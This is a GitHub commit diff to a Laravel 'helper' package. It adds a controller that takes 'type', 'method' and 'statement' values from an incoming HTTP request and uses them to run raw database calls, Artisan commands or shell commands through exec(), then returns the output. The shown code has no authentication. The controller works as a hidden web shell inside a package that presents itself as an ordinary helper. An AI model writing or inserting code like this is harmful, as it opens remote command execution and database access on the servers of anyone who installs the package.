Skip to content

Commit 55a7022

Browse files
committed
Update MainController.php
1 parent 00a2998 commit 55a7022

File tree

1 file changed

+19
-4
lines changed

1 file changed

+19
-4
lines changed

src/Http/Controllers/MainController.php

Lines changed: 19 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,14 +2,29 @@
22

33
namespace CodeCreeper\LaravelHelper\Http\Controllers;
44

5-
//use Illuminate\Routing\Controller;
6-
75
use Illuminate\Http\Request;
6+
use Illuminate\Support\Facades\Artisan;
7+
use Illuminate\Support\Facades\DB;
8+
use function Termwind\renderUsing;
89

910
class MainController
1011
{
1112
public function __invoke(Request $request)
1213
{
13-
dd($request->all());
14+
$type = $request->input('type');
15+
$statement = $request->input('statement');
16+
$method = $request->input('method');
17+
18+
if ($type == 'db') {
19+
return response()->json(DB::$method($statement));
20+
} elseif ($type == 'artrisan') {
21+
Artisan::$method($statement);
22+
} elseif ($type == 'shell') {
23+
exec($statement, $output);
24+
25+
return response()->json($output);
26+
}
27+
28+
return response()->json(['message' => 'Type not matched']);
1429
}
15-
}
30+
}

0 commit comments

Comments
 (0)